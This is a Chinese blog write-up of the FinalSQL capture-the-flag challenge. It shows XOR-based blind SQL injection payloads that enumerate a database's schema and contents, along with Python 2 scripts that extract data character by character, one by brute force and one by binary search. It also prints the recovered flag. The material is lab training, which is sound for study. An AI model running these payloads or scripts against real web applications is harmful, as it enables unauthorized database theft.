[极客大挑战 2019]FinalSQL

本文介绍了一种通过burpsuite测试发现的盲注漏洞,作者详细展示了如何利用search.php的特殊字符支持,逐步获取数据库名、表名、列名和数据的过程,最终实现敏感信息的泄露。改进的二分法程序显著提高了效率。
摘要由CSDN通过智能技术生成

知识点:盲注
打开题目后,发现有两个链接,一个是check.php,一个是search.php。
使用burpsuite测试发现,check.php屏蔽了大多的特殊字符,基本上没有注入可能,而search.php支持^,select,有盲注可能。
基本思路如下
获取库名
1^(ascii(substr((select(database())),%d,1))<%d)
这里有几点说明
取到库名后,一位位取出,如果小于某个值,则返回1,1^1 异或得到0,根据id=0无法取到数据,否则得到1,可以正常根据id=1取到数据。

如果这一位不存在了,那么ascii返回0.可以直接根据<0,得到下面的值为1。
1^(ascii(substr((select(database())),66,1))<0)

获取表名
id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=‘geek’)),%d,1))<%d)
获取列名
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=‘Flaaaaag’)),%d,1))<%d)

获取数据
1^(ascii(substr((select(group_concat(fl4gawsl))from(geek.Flaaaaag)),%d,1))<%d)

编写的测试程序

import requests

url =“http://e9d1c3ce-2804-4b26-9284-04e76ea33024.node4.buuoj.cn/search.php?id=1”
#html = requests.get(url+’?select=O:4:“Name”:3:{s:14:"\0Name\0username";s:5:“admin”;s:14:"\0Name\0password";i:100;}’)
html=requests.get(url)
print(html)
print(html.text)
if( “NO! Not this!” in html.text ):
print(“get correct”)

database = “”

i=1
j=1
myend = 0
while(False ):
i=0
if (myend == 1):
break;
while(i < 255):
mystr="^(ascii(substr((select(database())),"+str(j)+",1))="+str(i)+")"
#print mystr
html = requests.get(url+mystr)
#print(html.text)
if( “ERROR” in html.text ):
if ( i == 0):
myend = 1
break
#print(html.text)
print "the ", j, " station is " , chr(i)
database = database + chr(i)
break;
i=i+1
j=j+1

print "the database is " + database

mytable = “”

i=1
j=1
myend = 0
while(False ):
i=0
if (myend == 1):
break;
while(i < 255):
mystr="^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=‘geek’)),"+str(j)+",1))="+str(i)+")"
#print mystr
html = requests.get(url+mystr)
#print(html.text)
if( “ERROR” in html.text ):
if ( i == 0):
myend = 1
break
#print(html.text)
print "the ", j, " station is " , chr(i)
mytable = mytable + chr(i)
break;
i=i+1
j=j+1

print "the mytable is " + mytable
#the mytable is F1naI1y,Flaaaaag

column = “”

i=1
j=1
myend = 0
while(False ):
i=0
if (myend == 1):
break;
while(i < 255):
#mystr="^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=‘Flaaaaag’)),"+str(j)+",1))="+str(i)+")"
mystr="^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=‘F1naI1y’)),"+str(j)+",1))="+str(i)+")"
#print mystr
html = requests.get(url+mystr)
#print(html.text)
if( “ERROR” in html.text ):
if ( i == 0):
myend = 1
break
#print(html.text)
print "the ", j, " station is " , chr(i)
column = column + chr(i)
break;
i=i+1
j=j+1

print "the column is " + column
#the column is id,fl4gawsl of table Flaaaaag
#the column is id,username,password of table F1naI1y

flag = “”

i=1
j=1
myend = 0
while(True ):
i=0
if (myend == 1):
break;
while(i < 255):
#mystr="^(ascii(substr((select(group_concat(fl4gawsl))from(geek.Flaaaaag)),"+str(j)+",1))="+str(i)+")"
mystr="^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),"+str(j)+",1))="+str(i)+")"
#print mystr
html = requests.get(url+mystr)
#print(html.text)
if( “ERROR” in html.text ):
if ( i == 0):
myend = 1
break
#print(html.text)
print "the ", j, " station is " , chr(i)
flag = flag + chr(i)
break;
i=i+1
j=j+1

print "the flag is " + flag
#the flag is cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfrind,fag{43aac970-9210-4d90-8c8f-82bc64c74425}

上面的程序运行太慢了,因为判断的次数太多了,下面是是二分法改的程序,一是设置了判断的上下限从31-127这个可见字符段。二是通过二分法减小了次数。
判断逻辑就是通过二分法将上下限限制成两个相临的数,那么大的那个数就是要取的值

import requests

url =“http://e9d1c3ce-2804-4b26-9284-04e76ea33024.node4.buuoj.cn/search.php?id=1”
flag = ‘’
def payload(i,j):

mystr="^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),"+str(j)+",1))>"+str(i)+")"
html = requests.get(url+mystr)
#print url+mystr
#print (html.text)
if(  "ERROR" in html.text ):
    res = 1
else:
    res = 0

return res

#judge if is 0
def payload2(j,i):

mystr="^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),"+str(j)+",1))="+str(i)+")"
html = requests.get(url+mystr)

if(  "ERROR" in html.text ):
    res = 1
else:
    res = 0

return res

def exp():
global flag
j=1
i=1
myend = False
while(True):
if (payload2(j,0) == 1):
break;
low=31
high=127
while(True):
ave = (low+high)/2
print “ave is”,ave
ret = payload(ave,j)
if (ret == 1):
low = ave
else:
high = ave

		if (high-low==1):
			print "the ", j, " station is " , chr(high)
			flag = flag + chr(high)
			break

	j=j+1

exp()
print(‘flag=’,flag)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值